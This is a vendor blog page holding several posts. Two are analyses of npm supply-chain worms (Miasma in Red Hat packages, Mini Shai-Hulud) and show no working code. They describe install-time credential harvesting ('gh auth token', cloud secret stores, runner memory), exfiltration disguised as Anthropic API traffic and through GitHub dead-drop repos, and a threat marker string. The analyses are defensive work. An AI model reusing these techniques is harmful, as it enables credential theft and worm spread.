Security & Compliance | Harness Blog Primary Category

Technical

Prepare for the EU AI Act with Harness AI Security

Learn how Harness AI Security helps organizations meet EU AI Act requirements with AI asset discovery, risk classification, runtime protection, auditability, and continuous compliance monitoring.

Vikas Gautam

July 2, 2026

Time to read

Harness AI Security provides a unified control plane for AI discovery, risk visibility, and runtime protection, helping organizations operationalize key requirements of the EU AI Act. Instead of relying on manual audits or fragmented tooling, teams get continuous insight into how AI systems are built, exposed, and used, along with the evidence needed to demonstrate compliance.

By combining AI asset discovery, risk classification, data flow visibility, and runtime enforcement, Harness enables customers to proactively identify high-risk systems, prevent unsafe integrations, and continuously monitor AI behavior in production. This approach aligns directly with the EU AI Act's focus on transparency, traceability, and ongoing risk management.

Harness helps in the following areas of the EU AI Act

AI System Inventory

Harness automatically discovers all AI assets—AI APIs, Agents, MCP servers, MCP tools, resources, prompts, and AI backends by analyzing live network traffic. The centralized inventory provides a real-time breakdown of discovered assets by type, call volume trends, and sensitive data exposure across your environment. Security and compliance teams gain a single, continuously updated source of truth for every AI component in use, without requiring manual cataloging or developer-submitted forms.

Risk Identification & Classification (Article 6)

Once assets are discovered, Harness derives a risk score for each based on policy violations, known vulnerabilities, exposure level (internal vs. external), and sensitive data flow. This scoring helps teams prioritize remediation efforts and demonstrate that high-risk AI systems have been identified and assessed, which is a core expectation under the EU AI Act's risk-based framework.

Prohibited Use Cases (Article 5)

Harness detects shadow AI vendors, unapproved MCP servers, and undocumented AI APIs surfacing in your environment. The Third Party view surfaces AI APIs grouped by vendor (e.g., OpenAI, Google, Anthropic) so teams can identify integrations that haven't undergone procurement or security review. This is directly relevant to the EU AI Act's prohibition on certain AI use cases and its requirements around supply chain transparency for AI systems.

Data Governance & Quality (Article 10)

Harness monitors sensitive data flows across all discovered AI assets, identifying where PII and regulated data enters and exits AI systems. The platform classifies data sensitivity automatically by analyzing asset metadata and observed traffic patterns, giving teams a continuous view of which assets handle sensitive information and surfacing misuse risks before they become compliance incidents.

Technical Documentation & Auditability (Articles 11, 16)

Harness automatically generates schemas for AI APIs, MCP tools, resources, and prompts by analyzing real network traffic with no manual documentation effort required. Each asset detail page captures the asset's type, dependencies, call volume, risk posture, and data flows in one place. This detail provides compliance teams with the structured technical records required under Articles 11 and 16 without burdening engineering teams with additional documentation.

Logging & Traceability (Article 12)

Harness captures all AI interactions, including AI API calls, MCP tool invocations, database calls, and non-AI API calls, in a centralized data lake with seven-day standard retention and 30-day retention for threat activity. This complete, queryable record of AI system behavior supports both routine audit needs and forensic investigations, directly satisfying Article 12's requirements for logging and traceability of high-risk AI systems.

Accuracy, Robustness & Security (Article 9)

The AI Firewall (beta) provides runtime enforcement against the most common AI-layer threats: prompt injection attacks, PII leakage in model responses, excessive model usage, and unauthorized model access. Together, these controls address the robustness and security requirements of Article 9, helping organizations demonstrate that their AI systems have active protections in place rather than passive policies.

Post-Market Monitoring (Article 72)

Harness continuously discovers new AI assets, shadow AI usage, and emerging sensitive data risks in production as your environment evolves. Real-time alerts are triggered for new vulnerabilities and compliance violations, with native integrations into SOC/SIEM workflows for rapid response. This ongoing monitoring capability aligns directly with the EU AI Act's post-market surveillance requirements, ensuring compliance doesn't end at deployment.

Bottom line: Harness AI Security provides the visibility, controls, and audit evidence layer required to operationalize EU AI Act compliance at scale and oversee AI system security. (Article 14)

Technical

From Commit to Approval, Without Leaving VS Code

The Harness VS Code Extension is now on the Marketplace. Monitor pipelines, debug logs, approve deployments, and query failures with Claude Code, Copilot, or Cursor, without leaving VS Code.

Chinmay Gaikwad

June 9, 2026

Time to read

Your Harness pipelines, logs, and deployment approvals are now a sidebar panel away inside VS Code.

The Harness VS Code Extension is live on the VS Code Marketplace today, no .vsix download, no manual install. Search "Harness" in the Extensions view, and you're a click away from real-time CI/CD visibility without leaving your editor.

Everything Software Delivery in One Panel

Capability	What it does
Pipeline monitoring	Live status for active runs, with automatic git context detection, executions for your current branch and commit surface automatically.
Log viewer	Click any pipeline step to open its logs in a dedicated editor tab, syntax-highlighted. Failed steps are flagged immediately.
Inline approvals	Approve or reject Harness native, Jira, and ServiceNow deployment gates directly in the editor. No navigating to the UI.
AI-assisted debugging	Ask IDE-integrated Cursor, GitHub Copilot, or Claude about a failure. Pipeline context (name, status, execution ID, URL) is injected automatically. No copy-pasting.

Ask Your AI. It Already Has the Context.

When a pipeline fails, the default loop is: open Harness UI, find the execution, read the logs, copy the relevant output, open your AI assistant, paste, and ask. That's four context switches before you've started fixing anything.

The extension collapses that into one step. An input sits at the bottom of the Harness panel. Type your question, select Claude Code, GitHub Copilot, or Cursor from the dropdown, and the extension packages the current execution context automatically before sending.

‍

‍

What makes the context useful, not just present, is the Harness Software Delivery Knowledge Graph. The Knowledge Graph is a structured data model that connects every entity across your SDLC: pipelines, services, deployments, environments, artifacts, policy results, and more. When the extension sends your AI tool the execution context for a failing pipeline, it's pulling from that graph. So Claude Code, Copilot, or Cursor isn't just reading a raw log dump. It's receiving structured, relationship-aware data about what ran, what it depends on, and where it broke. That's the difference between an AI that can technically answer a question about your pipeline and one that can accurately answer it.

‍Claude Code responses appear directly in the Harness sidebar (CLI mode) or open the Claude Code panel with the prompt pre-loaded (extension mode). Click Configure MCP in the AI footer to wire up your Harness credentials: project scope or global, your choice.

‍GitHub Copilot is auto-detected when the extension is installed. Context and prompt open in Copilot Chat, ready to go.

‍Cursor is auto-detected when you're running inside Cursor. For the simplest setup, install the Harness plugin from the Cursor marketplace. OAuth authentication, no manual configuration.

Install in Two Minutes

Install:

Open the Extensions view (Ctrl+Shift+X), search "Harness", and click Install. Or from the terminal:

code --install-extension harness-inc.harness-vscode

Connect your account:

Click the Harness icon in the Activity Bar → run Harness: Configure API Key → enter your instance URL and Personal Access Token. Your Account ID is extracted from the PAT automatically.

Select your org and project. Pipelines load immediately.

‍Requirements: VS Code 1.85.0+, active Harness account.

Watch it in action

Watch the walkthrough from our very own Luis Redda.

Stay in VS Code. Your Pipelines Will Follow.

The context-switching loop (open Harness, find the execution, copy the log, switch to your AI tool, paste, and ask) doesn't have to be part of how you work. Pipeline status, logs, approvals, and AI-assisted debugging all live in the same panel as your code. Install the extension, connect your account, and the next time something breaks, you'll already be where you need to be.‍

For more information, checkout the docs.

Technical

Shai-Hulud Miasma: Inside the Compromise of Red Hat’s Packages

An in-depth look at the Miasma supply chain attack that compromised Red Hat npm packages. Learn how the malware spread, stole credentials, abused trusted publishing, and the steps teams can take to mitigate risk.

Roshan Piyush

June 5, 2026

Time to read

The Shai-Hulud lineage has a new face. On June 1, 2026, security teams independently flagged a fresh supply chain compromise inside the @redhat-cloud-services npm namespace. 32 packages and 96 versions were all republished with a credential-stealing worm.

These aren't typosquats. They are the official packages in a trusted scope, pulling somewhere 80,000-117,000 average weekly downloads. This article walks through how one compromised maintainer account turned Red Hat's own CI/CD pipeline into a malware channel, what is actually new under the hood versus earlier Shai-Hulud waves, and how to clean it up without tripping the worm's self-destruct.

Preface

Open-source ecosystems run on trust and most of that trust is now automated. A modern build pulls hundreds of transitive dependencies, publishes through CI/CD with nobody watching and checks provenance to prove an artifact came from where it claims. Provenance can tell you where a package was built but can't tell you if the build environment was clean.

“Miasma is what happens when an attacker stops trying to fake that trust signal and just earns it from inside a pipeline that already has it.”

Introduction

Miasma is a multi-stage dropper. It runs during npm installation, scans the machine and any reachable cloud for credentials, then republishes itself through every package the stolen tokens can reach. It's a direct descendant of the Mini Shai-Hulud worm. What changed is the packaging: the wrapping, the staging, and the disguise. Where Shai-Hulud used Dune references, Miasma switches to Greek mythology hence naming things "spartan" and labeling its exfiltration repos Miasma: The Spreading Blight.

Here's what actually separates this wave from earlier Shai-Hulud activity:

Every infection gets its own encryption.
- Instead of copying itself byte for byte, the malware generates a uniquely encrypted payload per infection. So a hash-based IOC is only good for one package version, which quietly breaks both version tracking and signature detection.
It goes after cloud identities, not just secrets.
- New collectors enumerate every GCP and Azure identity the infected machine can reach. Earlier variants mostly grabbed the static keys.
It abuses trusted publishing from a hijacked account.
- Rather than steal a long-lived npm token, the attacker pushed commits that requested short-lived OIDC tokens inside GitHub Actions and published with valid SLSA provenance. It's the same trick we saw in the TanStack and Bitwarden compromises.

Timeline

Date	Target	What happened
Apr 22, 2026	`@bitwarden/cli`	Compromised via a poisoned GitHub Actions workflow. Payload self-identifies as "Shai-Hulud: The Third Coming."
Apr 29, 2026	4 SAP npm packages	Compromised using an npm token leaked through a malicious CircleCI pull-request build.
May 12, 2026	160+ packages (incl. Mistral, TanStack)	Mini Shai-Hulud hits in one wave; malicious releases carry valid provenance.
May 12, 2026	Shai-Hulud source code	TeamPCP publishes the full source to GitHub and posts on BreachForums urging others to run their own campaigns.
May 29, 2026	First Miasma marker	First repo carrying the Miasma: The Spreading Blight description appears, likely the actor testing the variant.
Jun 1, 2026	30+ `@redhat-cloud-services` packages	Red Hat Cloud Services npm packages compromised ("Miasma").

‍

Deep Dive Into the Miasma Compromise

This wasn't a stolen token push. It happened inside Red Hat's own release infrastructure. A Red Hat employee's GitHub account was taken over and used to commit straight into internal repositories hence skipping the code review step entirely. Here's how it played out:

Step 1: The Big Picture

Red Hat publishes free software building blocks (called "packages") that thousands of other developers download and use in their own apps. An attacker found a way to poison those building blocks so that anyone who downloaded them would get secretly hacked. This kind of attack is called a "supply chain attack." Instead of breaking into your house, they forge the lock before it ever reaches the store.

Step 2: How they got in

The attacker didn't steal a password or a key. They hijacked a Red Hat employee's GitHub account and quietly slipped their own code into Red Hat's project. Normally, any code change gets reviewed by another human first. But they used a sneaky trick of Orphan commits that let the changes bypass that review making sure that nobody saw them go in.

Step 3: The clever part about "trust"

The industry recently moved to a system where instead of using permanent passwords to publish software, the publishing system hands out temporary and single-use permission slips (short lived tokens).

The idea was "no permanent password to steal means safer."

But the attacker had taken over the machine that creates those permission slips. So every poisoned package came stamped with a legitimate "this was built by a trusted system" seal of approval which was technically true and completely useless because the trusted system itself was compromised.

Step 4: The trap springs instantly

They rigged the poisoned packages so the malicious code runs the instant you install them, before you can read the code or before anything looks wrong. One giant red flag they point out: one of the infected packages was supposed to contain only text definitions (no programs at all), yet it was set up to run a program on install. That's like a sealed envelope that somehow starts ticking.

Step 5: Hiding the malware

The actual malicious code was buried under layers of disguise. It was scrambled, encrypted and rebuilt from lists of numbers, specifically to fool automated security scanners. It also quietly downloads its own tools if your machine doesn't already have them to make sure that it works on almost any computer.

Step 6: Stealing credentials

Once running, it grabs everything it can. It reads environment variables, host details, and local credential files, pulls GitHub CLI tokens with gh auth token and scans the filesystem for secrets that match known patterns. It doesn't stop at files on disk. If it has a valid identity, it queries cloud metadata services, reads from AWS Secrets Manager and SSM Parameter Store, pulls Azure Key Vault and GCP Secret Manager values and lists Kubernetes and Vault secrets. On CI runners it can even read secrets out of the runner's memory, which gets around log masking because the secret is never written to a log.

Representative token patterns searched by the payload include:

Step 7: Hiding the exfiltration as Anthropic traffic

To smuggle the stolen secrets out without setting off alarms, the malware sent data to a web address that looks normal. The full address is hxxps[:]//api[.]anthropic[.]com/v1/api, which is a real Anthropic host. A plain GET to it returns Anthropic's normal 404 not_found_error, so /v1/api isn't a real route and Anthropic's systems were not compromised. The point is to cover. The domain looks harmless in network logs and the path looks like an API call. It's also awkward to block, since lots of companies legitimately call Anthropic.

The malware reuses the same "GitHub dead-drop" trick from earlier Shai-Hulud versions. If it finds a working GitHub token, it uses it to create a public repo on the victim's account and saves stolen data there as JSON files (under a results/ folder, named with a timestamp and counter). The repo gets a random name in the form adjective-noun-number and its description is set to a fixed string.

“Miasma: The Spreading Blight”

When the payload includes a stolen token in a commit message, it uses the threat marker:

IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner

Step 8: Spreading itself

Why it spreads like a worm: This is the nastiest part. When the malware finds credentials that can publish software, it infects those packages too and republishes them so the infection jumps from victim to victim automatically similar to the way a real worm or virus spreads. Researchers found it in over 200 infected projects. It also has multiple hidden backup copies of itself buried around GitHub so even if you clean one up it is designed to crawl back.

Affected Packages

The names of some of the affected packages are:

@redhat-cloud-services/vulnerabilities-client
@redhat-cloud-services/tsc-transform-imports
@redhat-cloud-services/topological-inventory-client
@redhat-cloud-services/sources-client
@redhat-cloud-services/rule-components
@redhat-cloud-services/remediations-client
@redhat-cloud-services/rbac-client

Mitigation

The single biggest takeaway for a normal developer: be suspicious when installing a package triggers programs to run, especially a package that has no business running anything. That `preinstall` behavior was the whole foundation of the attack.

Because of the dead-man switch, sequence is the whole game. Work through these in order:

Isolate first by taking infected machines and CI runners offline. Save logs and then remove the malware's persistence.
Then rotate the keys.
Remove bad packages by uninstalling any affected @redhat-cloud-services version. Reinstall a clean one and regenerate the lockfiles.
Block install scripts by running npm ci --ignore-scripts in CI so the preinstall hook can't run.
Fix the pipeline and don't allow workflows that run on any branch with id-token: write and also review every commit.
Search for traces by looking for new repos named Miasma: The Spreading Blight and odd patch-version published.

How Harness Supply Chain Security Helps

Harness SCS helps you quickly detect and contain compromised dependencies like the redhat-cloud-services package before they impact your pipelines. With real-time visibility into your SBOMs and dependency graph, you can identify affected versions, trace their usage across builds and environments and block them using OPA policies. This ensures malicious packages never propagate through your CI/CD or AI workflows.

Detect Compromised Packages

Harness SCS enables instant search across all repositories and artifacts to quickly identify if compromised package versions exist in your environment. The moment such a malicious package is disclosed, you can pinpoint its presence and assess impact across your entire supply chain in seconds.

Block Compromised Packages

Harness AI streamlines response to incidents like the redhat-cloud-services package compromise through simple natural-language prompts. With a single prompt, you can generate OPA policies to block affected versions of redhat-cloud-services packages, for example, across all pipelines, preventing malicious packages from entering builds or deployments. As new compromised versions emerge, these policies can be quickly updated to maintain strong preventive controls across your SDLC.

Harness SCS automatically detects compromised versions across both production and non-production environments. Teams can track remediation, assign fixes and monitor progress through to deployment, ensuring exposed credentials and vulnerable dependencies are addressed quickly. This end-to-end visibility helps contain the impact and prevents compromised packages from persisting in your supply chain.

Next Steps In The Face Of Supply Chain Attacks

The Mini Shai-Hulud worm highlights how quickly a malicious package can expose high-value secrets when embedded deep within registries and CI runners. Given its role in managing dependencies and packages across projects, the impact extends beyond code to API keys, prompt data and downstream systems, often bypassing traditional security checks.

Defending against such attacks requires more than reactive fixes. Teams need real-time visibility into dependencies, the ability to enforce policies to block compromised versions and continuous tracking to ensure remediation is complete across all environments. Harness SCS enables teams to quickly identify where affected package versions are used, prevent them from entering new builds and ensure fixes are consistently rolled out.

With these controls in place, organizations can limit credential exposure, contain threats early and secure their supply chain against attacks like the redhat-cloud-services compromise.

Partners

Software Delivery Context, Now Inside Claude

Harness is now available in the Claude Connectors Directory, giving teams real-time AI access to pipelines, deployments, approvals, and software delivery context.

Rohan Gupta

Chinmay Gaikwad

June 1, 2026

Time to read

Key Takeaway: The Harness MCP Server is now in the official Claude Connectors Directory. Developers using Claude can now discover and connect to Harness, gaining structured, real-time access to their pipelines, deployments, approvals, and delivery workflows. What makes this different from a typical API integration is what's underneath: the Harness Software Delivery Knowledge Graph, which gives Claude the context it needs to make decisions that are accurate, fast, and safe.

‍

AI agents are only as good as the context they operate in. That's not a design philosophy. It's a practical constraint. An AI agent that doesn't understand how the underlying software delivery entities relate to each other, or what the data actually means, will get things wrong. In software delivery, wrong looks like a botched deployment, a misread failure, or an approval granted when it shouldn't have been, which directly affects your users.

Today, we're announcing that the Harness MCP Server is in the official Claude Connectors Directory, making Harness discoverable and connectable for every team using Claude. But the announcement isn't really about the directory listing. It's about what Harness + Claude can actually do in your delivery system.

What You Can Do with Claude and Harness

Claude can work across the full Harness delivery platform:

Capability	What Claude can do
Pipeline execution	Trigger and monitor builds across GitHub, GitLab, Bitbucket, or Harness Code
Deployment management	Promote services across environments with approval gate verification
Failure diagnosis	Pull structured execution context and surface root cause analysis
Approval workflows	Retrieve pending approvals and take governed delivery actions
Environment state	Query what's deployed where, in real time
Security posture	Review SBOMs, vulnerability scan results, and SSCA compliance status
Resilience testing	Initiate chaos experiments and retrieve structured results
Cost signals	Surface cloud cost anomalies tied to deployment activity

‍

All of it is grounded in the Knowledge Graph, not raw API responses, but a structured model of your delivery system that Claude can reason over precisely.

The Problem With Giving AI Agents Raw API Access

MCP lets AI models call external tools by reading API descriptions and deciding which to invoke. That flexibility is useful. But when you're building an agent that needs to reason across an entire software delivery lifecycle, CI, CD, security scans, approvals, feature flags, cost signals, and environments, raw API access creates a deep reliability problem.

Consider a question a platform engineering lead might ask:

‍"Show me the pipelines with the highest failure rate over the last 30 days, and for each one, tell me which services they deploy and whether any of those services have open critical vulnerabilities."

That question spans four domains: pipeline execution history, service-to-pipeline relationships, environment state, and security scan results. An agent working off raw APIs has to discover which APIs exist across each domain, call them in the right order, paginate correctly, infer how field names correspond across systems, and synthesize the results without misinterpreting nested objects or guessing at relationships.

The result is 5+ sequential LLM calls, hundreds of thousands of input tokens, high latency, and an agent that had to guess at every join. Guessing is where hallucinations happen.

What the Harness + Claude Integration Changes

The Harness Software Delivery Knowledge Graph is a purpose-built model of everything that happens after code is written: builds, test runs, deployments, approvals, security scans, environment states, feature flags, infrastructure changes, cost signals, and rollbacks. Not as raw data but as a connected, typed, semantically annotated graph of entities and relationships.

Every field in the graph carries metadata that tells an agent exactly how to use it: whether a value is a number or a string, whether it can be aggregated or only filtered, what its unit is, and how it joins to related entities. Cross-module relationships, between a pipeline and the services it deploys, between a deployment and the security scan results for that artifact, between an environment change and the cost anomaly that followed, are explicitly declared, not inferred.

This is the difference between an agent that can access your delivery system and one that understands it.

When Claude connects to Harness via MCP, it doesn't receive a set of API endpoints. It's getting access to a structured model of your entire delivery organization, one where the relationships are known, the data types are enforced, and the agent can construct precise queries rather than guessing at field semantics.

‍The practical effect with Harness + Claude: that same cross-domain question above becomes 2–3 structured queries against a known schema. The agent selects the right entity types from the graph, generates queries with exact fields and declared relationships, and returns a deterministic answer. No guesswork. No hallucinated field names. No silent wrong answers.

What This Looks Like in Practice

Debugging a failed pipeline without context switching

A build has failed. Normally, you'd open the Harness UI, navigate to the execution, copy the relevant logs, paste them into a conversation, and wait for analysis. The AI reasons over whatever you managed to capture.

With the Harness MCP connection active in Claude, you ask what failed. Claude doesn't just pull logs; it queries the Knowledge Graph to understand the structure of that pipeline, which stage failed, what services were involved, whether similar failures have occurred before, and what changed since the last successful run. The answer it surfaces reflects the full delivery context, not just the stack trace you happened to copy.

Promoting a deployment through governed gates

Your team is ready to move a service from staging to production. Claude checks the current environment state, verifies that required approval gates have been satisfied, confirms the security scan passed for the artifact version you're promoting, and initiates the deployment — with every action running through your existing RBAC policies and logged for audit.

The agent isn't guessing about whether conditions are met. It's querying a graph where those conditions are modeled as typed relationships with known states. The answer is deterministic because the data is structured to make it so.

This Is Not AI Without Guardrails

The natural question when Claude can trigger pipelines and manage deployments: what stops it from doing something it shouldn't?

The same controls that govern everything else in Harness. Every action taken through the MCP server runs through your existing RBAC permissions, OPA policy enforcement, approval gates, and audit logging. Claude operates with exactly the permissions you have, nothing more. Every action is tracked. Nothing bypasses the governance layer.

The Knowledge Graph reinforces this: because Harness AI understands your delivery system structurally, it also understands the constraints within it. Approval gates aren't just optional steps the agent might skip; they're modeled as typed relationships with state. The agent can't promote past a gate that hasn't cleared because the graph reflects that clearly.

Speed and governance aren't a tradeoff. They coexist by design.

Why the Claude Connectors Directory Matters

The Claude Connectors Directory is a curated, reviewed set of integrations. Anthropic evaluates each server before listing it. Being approved is a signal of trust that carries weight for enterprise teams deciding which AI integrations to enable.

It also means discoverability at scale: engineering teams using Claude for DevOps workflows will find Harness natively. One-click OAuth connection, no API key management, no manual configuration.

This fits a broader pattern. The Google Cloud partnership brought Harness into Google's AI ecosystem through Vertex AI and Gemini CLI. The Cursor plugin brought it into the IDE. The Claude Connectors Directory brings it into conversational AI. In each case, the goal is the same: wherever developers are doing their best thinking and wherever AI is being asked to help with software delivery, Harness should be present with the right context for that AI to act reliably.

Getting Started

If you're already a Harness customer:

Open Claude and then the Connectors page
Search for Harness in the MCP directory
Authenticate with OAuth, no API keys, no manual configuration
Start asking Claude about your pipelines, deployments, and delivery workflows

If you're new to Harness, sign up for free and connect from day one. Detailed steps are listed in the documentation.

The Harness Connector gives Claude the ability to act in your delivery system. The Knowledge Graph gives it the understanding to act well. Together, that's what reliable AI in software delivery actually looks like.

‍

Technical

Anthropic’s Mythos, Glasswing, and how the industry must move forward

This is not a security problem. As we’ve settled into the speed of AI, it’s become clear that security isn’t a job solely for the security team. Here’s why.

Adam Arellano

May 29, 2026

Time to read

When Anthropic broke the news of Mythos and Project Glasswing, the security community did what it always does. It published a flurry of papers asking "What does this mean for security?" It's a reasonable instinct, but it's the wrong question.

The real question is who actually owns the problem?

The Advice Is Right. The Audience Is Wrong.

Even Anthropic's own guidance on preparing your security team for the AI era, comprehensive and well-reasoned as it is, lands squarely on steps that security teams can influence but cannot execute. Maintaining accurate inventories of exposed systems, decommissioning legacy services, and minimizing API exposure. These are all the right steps. They are also, unambiguously, engineering steps.

Security teams have owned these conversations for years, not because they were ever truly equipped to act on them, but because engineering was remarkably effective at passing the responsibility to someone else. That era is over.

The Eng & Sec Silos Have to Go

Take attack surface reduction as a concrete example. Anthropic's recommendations are sound: know what you're exposing, shut down what you don't need, lock down your APIs. But a security team cannot decommission a legacy service. They cannot refactor an API. They can nag, escalate, and document, then watch the ticket sit in a backlog for six months.

Engineering has to take this on. Not reluctantly, not after repeated escalations, but as a core ownership responsibility. The framing of "security's job" versus "engineering's job" is a liability the industry can no longer afford.

The Path Forward Is Uncomfortable — But It Starts Now

This transition won't be easy. Changing ownership models inside organizations is political, slow, and often painful. But the alternative means maintaining siloed teams while AI-accelerated vulnerability exploitation scales faster than any manual process can respond. That isn't a strategy. It's a countdown.

Here's what needs to happen immediately:

Security and engineering must jointly review what we know about threats like Mythos and the recommendations Anthropic has put forward — together, in the same room, with shared accountability.
Joint planning sessions aren't optional. Shared war-gaming, shared roadmaps, shared ownership of remediation timelines.
Cross-industry knowledge sharing is no longer optional. Threat actors collaborate, share tooling, and iterate in the open. The industry has to build the same sharing culture attackers already have.

The Wave Is Already Here

This isn't a theoretical future risk. The wave is already forming offshore, and most organizations are still debating whether to build a seawall.

AI hasn't just made attackers faster, it has fundamentally changed the economics of exploitation. What once required a skilled threat actor, weeks of reconnaissance, and significant resources can now be automated, scaled, and deployed by someone with a capable model and a motivated prompt. Zero day vulnerabilities that previously had a window of days or weeks before widespread exploitation are now being weaponized in hours. The asymmetry between attack and defense has never been more extreme.

Here's the uncomfortable truth: the traditional security model was never built for this speed. It was built for a world where humans attacked and humans defended, where there was time to deliberate, escalate, and patch. That world is gone.

Mythos doesn't wait for your quarterly security review. GlassWing doesn't care that your legacy service decommission is "on the roadmap for H2." AI-powered exploit tooling operates at machine speed. And right now, the defense side of that equation is still running on organizational clock time.

Two Futures

Organizations that recognize this moment and act on it will look very different in three years. Security and engineering will share OKRs, not just Slack channels. Remediation won't be a ticket handed off between teams, it will be a joint sprint. Attack surface reduction will be an engineering hygiene standard, not a security audit finding.

Organizations that don't adapt will face a different outcome. It won’t be a gradual decline, but a sudden, forced reorganization triggered by a breach that exposes exactly how brittle the old model was. The silo walls won't come down in a planned migration. They'll come down in an incident post-mortem.

This Is the Moment

Industry inflection points rarely announce themselves clearly, but this one is. The research is public and the threat models are documented. Anthropic, and others, have laid out precisely what needs to happen. The gap between knowing and doing is entirely organizational — and that gap is where the real risk lives.

The teams that start the hard conversations now about ownership, accountability, and shared responsibility are the ones that will be positioned to respond when the wave hits. And it will hit. The question isn't whether your organization needs to change. The question is whether you'll choose the terms.

Company News

Harness Named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms for the Third Consecutive Year

Harness has been named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms for the third consecutive year and positioned furthest in Completeness of Vision.

Harness Team

June 17, 2026

Time to read

Harness has been recognized as a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms for the third consecutive year. Harness was also positioned furthest on the Completeness of Vision axis in the report.

Our Key takeaways:

Harness is named a Leader for the third consecutive year
Harness is positioned furthest on the Completeness of Vision axis
Harness continues investing in governed, AI-powered DevSecOps

Harness is the AI platform for engineering, security, and operations teams to build, secure, deploy, govern, and optimize software delivery across the SDLC.

We believe our recognition in the Gartner Magic Quadrant for DevSecOps Platforms reflects the continued evolution of the Harness platform and our commitment to helping teams deliver software faster, safer, and with greater governance across the software delivery lifecycle.

We’re thrilled to share this recognition, which we believe reflects the strength of our product strategy, the breadth of our platform, and our continued investment in helping enterprises modernize software delivery with security, reliability, cost management, and AI built into the development lifecycle.

Today, organizations across industries like United Airlines, Ancestry, and Citi rely on Harness to reduce delivery complexity, improve developer productivity, strengthen governance, and accelerate innovation across increasingly complex software environments.

Why This Matters Now

Software delivery has entered a new era. AI coding assistants are helping teams create software faster than ever, but faster code generation also means more changes, more tests, more vulnerabilities, more deployments, and more incidents for organizations to manage. The next era of DevSecOps will not be defined by who can generate code faster. It will be defined by who can safely convert that speed into reliable business outcomes.

Our view is that the future of DevSecOps is autonomous AI agents, governed and directed by expert engineers. As humans and AI agents both contribute to software change, enterprises will need one connected platform to understand, validate, secure, deploy, observe, optimize, roll back, and prove every change across the software delivery lifecycle.

Our Journey

As a pioneer in modern software delivery, Harness offers over 15 platform products and has built one of the industry’s most comprehensive platforms to support the full spectrum of application development, deployment, security, reliability, feature management, cost management, and operations.

Harness has evolved through a combination of product innovation, internal entrepreneurship, open source investment, and strategic acquisitions. We believe our recognition as furthest on the Completeness of Vision axis in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms is proof that Harness is solving problems for our customers in a measurable way.

Over the past year, Harness has continued to expand platform capabilities and AI agents across:

Security and risk management
AI-native testing capabilities including flaky test detection and AI impact testing
Feature Management and Experimentation
Cloud and AI Cost Management
AI DLC insights
Resilience Testing, and more

This matters because software delivery is no longer just about building and deploying code. Teams must now manage security risk, release complexity, infrastructure cost, compliance requirements, production reliability, and the growing impact of AI-generated software. The Harness platform allows teams to adopt what they need, when they need it, in one place.

With operations across North America, Europe, APAC, Latin America, and India, Harness serves organizations of all sizes across industries. Customers choose Harness not only for the breadth of the platform but also for the flexibility to adopt individual modules or the full platform based on their needs, maturity, and business priorities.

What’s Next for Harness

This recognition in our opinion is a milestone, and we’re proud, but we’re even more excited by the road ahead.

We build security in the software delivery lifecycle natively, not as a separate stage or disconnected toolchain. As AI increases the volume of code, changes, and security findings, enterprises will need platforms that connect detection, prioritization, policy, remediation, deployment, and runtime defense into a single, governed workflow.

Harness is focused on helping enterprises meet that moment. We will continue investing in AI software delivery to help teams move faster without losing control. Our goal is to help every organization deliver software that is faster to build, safer to release, easier to govern, and more resilient in production.

Thank you to our customers, partners, employees, and community for your continued trust. We’re excited about the journey ahead and can’t wait to show you what’s next.

Learn More

Get a complimentary copy of the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms.

Or, to talk to someone about Harness, please contact us.

Gartner Disclaimer

Gartner, Magic Quadrant for DevSecOps Platforms, 2026, Keith Mann, Thomas Murphy, Bill Holz, 15 June 2026

Gartner does not endorse any vendor, product, or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

GARTNER is a registered trademark and service mark of Gartner, and Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and is used herein with permission. All rights reserved.

Technical

Mini Shai-Hulud Explained: How the TanStack and RubyGems Supply Chain Attacks Worked

Mini Shai-Hulud is a self-propagating supply-chain worm targeting npm, PyPI, and RubyGems. It abuses CI/CD pipelines, stolen tokens, and trusted publishing flows to spread malicious packages and steal credentials.

Roshan Piyush

May 20, 2026

Time to read

Shai-Hulud is back - this time being lighter, faster and more automated than before. This new wave, termed as Mini Shai-Hulud, has affected a number of packages from tanstack, uipath, opensearch-project and mistralai among others over the past few weeks, with the latest series of major compromises coming on 19^th May, 2026 on major organizations openclaw-cn and antv.

Check an extensive list of affected packages here. This self-propagating software supply-chain worm compromised legitimate high-profile packages with millions of weekly downloads, significantly increasing the potential blast radius. This article details the technical workings, sophisticated propagation mechanism and remediation of this supply-chain attack.

Preface

Open-source ecosystems operate on trust. Modern applications routinely pull hundreds of third-party dependencies during development and deployment, often through fully automated CI/CD pipelines. This creates a trust chain as shown below.

Though efficient, this model creates a vast attack surface. Compromising any link in the chain allows attackers to distribute malicious code as a "trusted" update. This is the core idea behind software supply-chain attacks.

Introduction

In brief, this malware was designed to execute automatically during npm package installation, harvest sensitive credentials from developer systems and CI/CD environments and abuse stolen publishing credentials to release additional malicious package versions. This worm-like propagation mechanism allowed the attack to spread rapidly through trusted package maintainers and automated release pipelines.

What made Mini Shai-Hulud technically more advanced than before was:

Improved stealth - Newer variants leveraged obfuscated loaders, staged payload delivery and alternate runtimes like Bun to reduce detection by traditional Node.js-focused security tooling.
Persistence - The worm made attempts to persist through IDE integrations, VS Code hooks, Claude Code hooks, OS services and background processes.
Better environment awareness - Mini Shai-Hulud fingerprinted developer and CI environments by auditing OS, tooling, cloud credentials and registry tokens. This allowed the worm to adapt payloads and maximize credential harvesting across npm, PyPI and RubyGems ecosystems.
CI/CD and provenance abuse – Unlike earlier variants that relied mainly on stolen maintainer tokens, Mini Shai-Hulud compromised trusted GitHub Actions release pipelines and abused OIDC-based publishing flows, allowing malicious packages to pass modern provenance and trusted publishing verification checks.

